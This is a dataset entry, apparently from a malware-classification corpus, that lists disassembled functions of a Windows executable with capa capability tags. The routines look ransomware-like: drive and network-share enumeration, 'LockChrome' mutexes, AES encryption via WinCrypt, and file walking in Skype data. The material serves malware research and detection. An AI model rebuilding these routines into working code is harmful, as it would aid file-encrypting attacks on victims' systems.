joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40825a
Capabilities:
Get disk information

Disassembly:
mov eax, 0x41dd9e
call fcn.004198ec
sub esp, 0x274
push ebx
push esi
push edi
lea esi, [ebp - 0x20]
call fcn.00405d11
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, dword [ebp + 8]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
mov eax, dword [edi + 4]
push ebx
push ebx
add eax, 0x90
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x4082ac
mov eax, dword [edi + 4]
movzx eax, word [eax + 0x90]
sub eax, 0x41
mov dword [ebp - 0x10], eax
jmp 0x4082af
mov eax, dword [ebp - 0x10]
push eax
call fcn.004046cc
push eax
mov eax, 0x70941101
lea ecx, [ebp - 0x280]
call fcn.00406b4c
mov byte [ebp - 4], 1
lea esi, [ebp - 0x280]
call fcn.00406c79
test al, al
je 0x408308
lea eax, [ebp - 0x20]
mov ebx, esi
call fcn.00406f26
call fcn.004046cc
add edi, 0x30
push edi
lea eax, [ebp - 0x20]
call fcn.004018da
mov edi, esi
call fcn.00406db6
lea esi, [ebp - 0x20]
call fcn.00405f3e
mov edi, dword [ebp + 8]
xor ebx, ebx
mov eax, dword [edi + 0x28]
mov eax, dword [eax + 4]
shr eax, 2
xor esi, esi
test eax, eax
jle 0x408353
mov eax, dword [edi + 0x28]
mov eax, dword [eax]
lea ecx, [ebp - 0x280]
push ecx
push dword [eax + esi*4]
push edi
call fcn.0040805f
mov eax, dword [edi + 4]
cmp dword [eax], ebx
jne 0x408343
mov eax, dword [edi + 0x28]
mov eax, dword [eax + 4]
inc esi
shr eax, 2
cmp esi, eax
jl 0x408317
jmp 0x408353
push dword [edi + 0x2c]
call fcn.00406650
push dword [edi + 0x28]
call fcn.00406650
cmp dword [edi + 0x1c], ebx
je 0x408379
mov ecx, dword [edi + 0x28]
mov eax, dword [edi + 0x2c]
push ecx
mov dword [edi + 0x2c], ecx
mov dword [edi + 0x28], eax
call fcn.00406650
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call esi
push ebx
call esi
jmp 0x408308
lea edx, [edi + 0x30]
lea ecx, [ebp - 0x280]
call fcn.00406e3e
mov byte [ebp - 4], bl
lea eax, [ebp - 0x280]
call fcn.00406c46
or dword [ebp - 4], 0xffffffff
lea esi, [ebp - 0x20]
call fcn.00405f2c
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4
Function at 0x408422
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
mov ebx, eax
mov edi, ebx
imul edi, edi, 0xa0
lea esi, [edi + 0x42b460]
call fcn.00408404
and dword [esi], 0
lea esi, [edi + 0x42b464]
call fcn.00408404
and dword [esi], 0
lea eax, [ebx + 0x41]
movzx esi, ax
push str.Global_
lea eax, [edi + 0x42b470]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.Global_
call dword [sym.imp.KERNEL32.dll_lstrlenW]
imul ebx, ebx, 0x50
mov dword [ebp - 4], 0x40
sub dword [ebp - 4], eax
push dword [ebp - 4]
add ebx, eax
add ebx, ebx
lea eax, [ebx + 0x42b470]
push str.LocX34Chrome
mov dword [ebp - 8], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpynW]
push eax
call ebx
mov eax, dword [ebp - 8]
lea eax, [eax + 0x42b470]
mov word [eax], si
lea eax, [edi + 0x42b4b0]
push str.Global_
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [ebp - 4]
push str.LockChrome32S11
push dword [ebp - 0xc]
call ebx
mov eax, dword [ebp - 8]
push 0x421c80
lea ebx, [edi + 0x42b4f0]
push ebx
mov word [eax + 0x42b4b0], si
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov word [ebx], si
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp - 0xc]
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x408517
cmp dword [ebp - 0xc], esi
jne 0x40856c
push esi
push 0x2000000
push 3
push esi
push 7
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x2c
pop ebx
push ebx
mov dword [edi + 0x42b468], eax
lea eax, [ebp - 0x38]
push esi
push eax
call fcn.004130d0
mov eax, dword [edi + 0x42b468]
add esp, 0xc
mov dword [ebp - 0x2c], eax
push esi
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], 6
call dword [sym.imp.USER32.dll_RegisterDeviceNotificationW]
mov dword [edi + 0x42b46c], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408715
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push dword [ebp + 8]
mov eax, esi
call fcn.00408422
pop ecx
call fcn.004046cc
xor ebx, ebx
cmp dword [0x42ca0c], ebx
jne 0x40876c
call fcn.00405c10
cmp al, bl
jne 0x40876c
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push 0x408571
push 0x10000
push ebx
mov dword [eax], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
je 0x408769
cmp eax, 0xffffffff
je 0x408769
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
leave
ret
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 8
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, ebx
jne 0x408740
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4089ce
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
mov eax, dword [0x421c80]
push ebx
push esi
push edi
mov dword [ebp - 0x10], eax
mov eax, dword [0x421c84]
mov dword [ebp - 0xc], eax
xor eax, eax
lea edi, [ebp - 8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0xc
pop ecx
mov esi, str.PZYDXKIHGFEWVUTSRQONMLJC
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor ebx, ebx
mov edi, 0x105
movzx esi, word [ebp + ebx*2 - 0x44]
lea eax, [ebp - 0x10]
push eax
mov word [ebp - 0x10], si
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
jne 0x408a7f
push edi
lea eax, [ebp - 0x468]
push eax
xor eax, eax
push eax
push eax
push eax
push edi
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x408a7f
push str.trandescend
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x408a7f
lea eax, [ebp - 0x10]
push eax
add esi, 0xffffffbf
mov eax, esi
imul eax, eax, 0xa0
add eax, 0x42b4f0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [0x42b458]
call fcn.00408715
pop ecx
inc ebx
cmp ebx, 0x18
jb 0x408a07
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408c53
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x194
push ebx
xor ebx, ebx
push esi
push edi
cmp eax, ebx
je 0x408e62
mov dword [eax], ebx
call fcn.004046cc
push str..lnk
push dword [ebp + 8]
call fcn.00403ba4
test al, al
je 0x408e62
call fcn.004046cc
cmp dword [ebp + 8], ebx
je 0x408e62
push ebx
push dword [ebp + 8]
call fcn.004047b2
mov esi, eax
mov dword [ebp - 8], esi
cmp esi, 0xffffffff
je 0x408e62
call fcn.004046cc
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0x88]
mov dword [ebp - 0x1c], ebx
test eax, eax
je 0x408cd6
push ebx
lea eax, [ebp - 0x1c]
push eax
push 0x4c
lea eax, [ebp - 0x88]
push eax
push esi
call edi
cmp dword [ebp - 0x88], 0x4c
jne 0x408e50
push 0x10
lea eax, [ebp - 0x84]
push 0x421440
push eax
call fcn.00413944
add esp, 0xc
test eax, eax
jne 0x408e50
test byte [ebp - 0x74], 1
je 0x408d5c
call fcn.004046cc
lea eax, [ebp - 4]
mov dword [ebp - 0x14], ebx
test eax, eax
je 0x408d24
push ebx
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push esi
call edi
movzx esi, word [ebp - 4]
sub esi, 2
call fcn.004046cc
push 1
push ebx
push esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
call fcn.004046cc
lea eax, [ebp - 4]
mov dword [ebp - 0xc], ebx
test eax, eax
je 0x408d5c
push ebx
lea eax, [ebp - 0xc]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
call edi
test byte [ebp - 0x74], 2
je 0x408e50
call fcn.004046cc
lea eax, [ebp - 0x38]
mov dword [ebp - 0x18], ebx
test eax, eax
je 0x408d85
push ebx
lea eax, [ebp - 0x18]
push eax
push 0x1c
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 8]
call edi
mov eax, 0x2800
cmp dword [ebp - 0x34], eax
jae 0x408e50
cmp dword [ebp - 0x38], eax
jae 0x408e50
test byte [ebp - 0x30], 1
je 0x408e50
mov esi, dword [ebp - 0x28]
add esi, 0xffffffe4
call fcn.004046cc
push 1
push ebx
push esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, 0x104
mov ecx, esi
lea eax, [ebp - 0x190]
mov byte [eax], bl
inc eax
dec ecx
jne 0x408dcb
call fcn.004046cc
lea eax, [ebp - 0x190]
mov dword [ebp - 0x10], ebx
test eax, eax
je 0x408df5
push ebx
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x190]
push eax
push dword [ebp - 8]
call edi
lea eax, [ebp - 0x190]
push eax
mov byte [ebp - 0x8d], bl
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
jmp 0x408e21
mov al, byte [ebp + esi - 0x190]
cmp al, 0x2f
je 0x408e2b
cmp al, 0x3a
je 0x408e2b
cmp esi, 1
jle 0x408e50
dec esi
cmp byte [ebp + esi - 0x190], 0x5c
jne 0x408e0c
cmp esi, 1
jle 0x408e50
mov byte [ebp + esi - 0x190], bl
call fcn.004046cc
push ebx
lea eax, [ebp - 0x190]
push eax
mov ebx, esi
call fcn.00403ebc
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
call fcn.004046cc
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x408e64
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40914b
Capabilities:
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
je 0x409176
cmp eax, 4
je 0x409176
cmp eax, 3
je 0x409176
test eax, eax
je 0x409176
xor al, al
jmp 0x4091f3
push dword [ebp + 8]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x421a50
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
mov edi, eax
call esi
push 0
call esi
cmp edi, 0xffffffff
je 0x409172
push dword [ebp + 8]
lea eax, [ebp - 0x45c]
call fcn.00408fcb
pop ecx
push 0xa
call esi
push 0
call esi
lea eax, [ebp - 0x45c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4091c1
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
pop esi
leave
ret
Function at 0x409210
Capabilities:
Get common file path
Query environment variable

Disassembly:
mov eax, 0x41dd22
call fcn.004198ec
sub esp, 0x468
push ebx
push esi
push edi
lea esi, [ebp - 0x30]
call fcn.00405d11
mov dword [ebp - 4], 1
call fcn.004046cc
mov eax, esi
push eax
push 0x421af4
call fcn.00408b9c
mov esi, dword [ebp - 0x2c]
xor ebx, ebx
shr esi, 2
mov dword [ebp - 0x14], ebx
cmp esi, ebx
jle 0x409296
mov ecx, dword [ebp - 0x14]
push 0x104
lea eax, [ebp - 0x474]
push eax
mov eax, dword [ebp - 0x30]
push dword [eax + ecx*4]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x40928e
call fcn.004046cc
lea edi, [ebp - 0x474]
call fcn.00403fca
mov ecx, dword [0x42c540]
push eax
call fcn.00406161
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x409253
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x26c]
push eax
push ebx
push ebx
push 8
push ebx
call esi
test eax, eax
jne 0x4092b9
lea edi, [ebp - 0x26c]
call fcn.004091f7
lea eax, [ebp - 0x26c]
push eax
push ebx
push ebx
push 0x1c
push ebx
call esi
test eax, eax
jne 0x4092d6
lea edi, [ebp - 0x26c]
call fcn.004091f7
lea eax, [ebp - 0x26c]
push eax
push ebx
push ebx
push 5
push ebx
call esi
test eax, eax
jne 0x4092f3
lea edi, [ebp - 0x26c]
call fcn.004091f7
lea eax, [ebp - 0x26c]
push eax
push ebx
push ebx
push 0x10
push ebx
call esi
test eax, eax
jne 0x409310
lea edi, [ebp - 0x26c]
call fcn.004091f7
lea eax, [ebp - 0x26c]
push eax
push ebx
push ebx
push 0x2e
push ebx
call esi
test eax, eax
jne 0x40932d
lea edi, [ebp - 0x26c]
call fcn.004091f7
lea eax, [ebp - 0x26c]
push eax
push ebx
push ebx
push 0x19
push ebx
call esi
test eax, eax
jne 0x40934a
lea edi, [ebp - 0x26c]
call fcn.004091f7
mov eax, dword [0x421d38]
mov dword [ebp - 0x20], eax
mov eax, dword [0x421d3c]
mov dword [ebp - 0x1c], eax
xor eax, eax
lea edi, [ebp - 0x18]
stosw word es:[edi], ax
push 0xc
pop ecx
mov esi, str.PZYDXKIHGFEWVUTSRQONMLJC
lea edi, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ax, word [ebp + ebx*2 - 0x64]
mov word [ebp - 0x20], ax
call fcn.004046cc
lea edi, [ebp - 0x20]
call fcn.00403fca
mov ecx, dword [0x42c540]
push eax
call fcn.00406161
inc ebx
cmp ebx, 0x18
jb 0x409370
mov dword [ebp - 4], 2
lea eax, [ebp - 0x30]
push eax
call fcn.00406650
or dword [ebp - 4], 0xffffffff
lea esi, [ebp - 0x30]
call fcn.00405f2c
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x409593
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
push 0x20
pop edi
mov ecx, 0x200
mov eax, edx
xor ebx, ebx
mov byte [eax], bl
inc eax
dec ecx
jne 0x4095a8
mov esi, dword [sym.imp.ADVAPI32.dll_CryptHashData]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], edx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push 0x8004
push dword [ebp + 8]
mov dword [ebp - 4], 0x14
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov eax, dword [ebp - 0xc]
mov ecx, eax
mov edx, eax
shr edx, 0x10
and ecx, 0xff0000
or ecx, edx
mov edx, eax
and edx, 0xff00
shl eax, 0x10
push ebx
or edx, eax
push 4
lea eax, [ebp - 0x14]
shr ecx, 8
shl edx, 8
push eax
push dword [ebp - 8]
or ecx, edx
mov dword [ebp - 0x14], ecx
call esi
mov eax, dword [ebp + 0xc]
push ebx
push dword [eax]
push dword [eax + 4]
push dword [ebp - 8]
call esi
push ebx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x28]
push eax
push 2
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp edi, dword [ebp - 4]
jae 0x409635
mov dword [ebp - 4], edi
push dword [ebp - 4]
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x10]
call fcn.00413290
sub edi, dword [ebp - 4]
add esp, 0xc
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
inc dword [ebp - 0xc]
add dword [ebp - 0x10], 0x14
cmp edi, ebx
ja 0x4095ba
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409732
Capabilities:
Encrypt data using aes via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
and dword [esi], 0
push 0x20
pop eax
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 4], 2
mov dword [ebp - 0x30], 0x208
mov dword [ebp - 0x2c], 0x6610
call fcn.00413290
add esp, 0xc
push esi
push 0
push 0
push 0x2c
lea eax, [ebp - 0x30]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x409782
xor al, al
leave
ret
push 0
lea eax, [ebp - 4]
push eax
push 4
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
setne al
leave
ret
Function at 0x4097f1
Capabilities:
Encode data using xor
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
xor ebx, ebx
push edi
mov edi, eax
cmp dword [ebp + 0xc], ebx
jne 0x409809
xor al, al
jmp 0x4098af
push esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
cmp dword [ebp + 8], ebx
jbe 0x4098ac
push 0x10
pop esi
mov dword [ebp - 8], esi
sub dword [ebp - 8], edi
mov eax, dword [ebp - 0xc]
mov ecx, eax
mov edx, eax
shr edx, 0x10
and ecx, 0xff0000
or ecx, edx
mov edx, eax
shl eax, 0x10
push esi
and edx, 0xff00
or edx, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
shr ecx, 8
shl edx, 8
push ebx
push dword [ebp + 0xc]
or ecx, edx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x4098b3
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add eax, edi
cmp eax, ecx
jae 0x409881
mov ecx, esi
jmp 0x409884
sub ecx, dword [ebp - 4]
xor eax, eax
cmp ecx, ebx
jbe 0x409898
mov dl, byte [ebp + eax - 0x20]
xor byte [edi + eax], dl
inc eax
cmp eax, ecx
jb 0x40988a
xor ebx, ebx
add dword [ebp - 4], esi
mov eax, dword [ebp - 4]
add edi, esi
inc dword [ebp - 0xc]
cmp eax, dword [ebp + 8]
jb 0x409822
mov al, 1
pop esi
pop edi
pop ebx
leave
ret
xor al, al
jmp 0x4098ae
Function at 0x409df4
Capabilities:
Check if file exists
Enumerate files on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x664
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [esp + 0x18], ax
lea eax, [esp + 0x1a]
push eax
call fcn.004130d0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [esp + 0x14]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4215cc
lea eax, [esp + 0x14]
push eax
call esi
mov eax, dword [ebp + 0x10]
add eax, 0x2c
push eax
lea eax, [esp + 0x14]
push eax
call esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push str.Application_DataSkype
lea eax, [esp + 0x14]
push eax
call esi
mov ebx, dword [ebp + 0x14]
lea eax, [esp + 0x10]
mov dword [ebx], eax
test eax, eax
je 0x409f46
xor eax, eax
cmp eax, fcn.00409943
je 0x409f46
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x46c]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x409eb4
test al, 0x10
je 0x409eb4
push 0x421a50
lea eax, [esp + 0x46c]
push eax
call esi
lea eax, [esp + 0x218]
push eax
lea eax, [esp + 0x46c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x409f46
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
test byte [esp + 0x218], 0x10
je 0x409f24
push 0x421a58
lea eax, [esp + 0x248]
push eax
call esi
test eax, eax
je 0x409f2c
push 0x421a5c
lea eax, [esp + 0x248]
push eax
call esi
test eax, eax
je 0x409f2c
push ebx
lea eax, [esp + 0x21c]
push eax
lea eax, [esp + 0x18]
push eax
push dword [ebp + 8]
call fcn.00409943
add esp, 0x10
test al, al
je 0x409f3f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x218]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x409ed7
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bac2
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
xor esi, esi
push 0x20
lea eax, [ebp - 0x24]
push 0
push eax
call fcn.004130d0
movzx eax, word [esi + str.ZXVNMSDFGHJKLQWERTYUIOP]
push eax
push 0x422490
push edi
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 9
mov dword [ebp - 0x18], 7
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp + 8]
and dword [ebp - 8], 0
add esp, 0x18
push 4
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x14], edi
call dword [sym.imp.MPR.dll_WNetAddConnection2W]
test eax, eax
je 0x40bb44
push 1
push edi
call dword [sym.imp.MPR.dll_WNetCancelConnectionW]
add esi, 2
cmp esi, 0x30
jb 0x40bacb
xor al, al
pop esi
leave
ret
mov al, 1
jmp 0x40bb41
Function at 0x40d88d
Capabilities:
Terminate process

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
push edi
mov edi, eax
mov esi, dword [edi + 0x1a]
inc esi
mov ebp, 0x6400000
cmp esi, ebp
ja 0x40d8e5
xor ebx, ebx
cmp esi, ebx
jne 0x40d8ac
xor esi, esi
inc esi
add esi, 4
cmp dword [0x42ca0c], ebx
jne 0x40d8c0
call fcn.00405c10
test al, al
je 0x40d8ed
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, ebx
jne 0x40d8e1
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, eax
jmp 0x40d8e9
xor esi, esi
xor ebx, ebx
cmp esi, ebx
jne 0x40d8f4
xor al, al
jmp 0x40da7a
mov eax, dword [edi + 0x1a]
inc eax
push eax
lea eax, [edi + 0x1e]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push ebx
push ebx
push 0xffffffffffffffff
push esi
push ebx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ebx, [eax + eax]
mov dword [esp + 0x10], eax
cmp ebx, ebp
ja 0x40d95c
test ebx, ebx
jne 0x40d925
inc ebx
add ebx, 4
cmp dword [0x42ca0c], 0
jne 0x40d93a
call fcn.00405c10
test al, al
je 0x40d962
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
jne 0x40d958
push eax
jmp 0x40d8db
mov ebx, eax
jmp 0x40d95e
xor ebx, ebx
test ebx, ebx
jne 0x40d96a
push esi
call fcn.00405c44
jmp 0x40d8ed
push dword [esp + 0x10]
push ebx
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
call fcn.00405c44
mov eax, dword [edi + 0x10]
cdq
push 0
add eax, 0xb6109100
push 0x989680
adc edx, 2
push edx
push eax
call fcn.00419140
mov dword [esp + 0x10], eax
mov eax, edx
sar eax, 0x1f
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x1c], edx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call edi
lea esi, [eax + eax + 0x800]
cmp esi, ebp
ja 0x40da11
xor ebp, ebp
cmp esi, ebp
jne 0x40d9d9
xor esi, esi
inc esi
add esi, 4
cmp dword [0x42ca0c], ebp
jne 0x40d9ed
call fcn.00405c10
test al, al
je 0x40da17
push ebp
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, ebp
jne 0x40da0d
push ebp
jmp 0x40d8db
mov esi, eax
jmp 0x40da13
xor esi, esi
test esi, esi
jne 0x40da1d
push ebx
jmp 0x40d963
movzx eax, word [esp + 0x22]
push eax
movzx eax, word [esp + 0x24]
push eax
movzx eax, word [esp + 0x20]
push eax
movzx eax, word [esp + 0x26]
push eax
movzx eax, word [esp + 0x2e]
push eax
push str._d._d._d__d:_d
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0x1c
push ebx
push esi
call ebp
push 0x4225cc
push esi
call ebp
push esi
call edi
lea edi, [eax + eax]
mov eax, dword [esp + 0x2c]
push esi
call fcn.00406173
push ebx
call fcn.00405c44
push esi
call fcn.00405c44
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret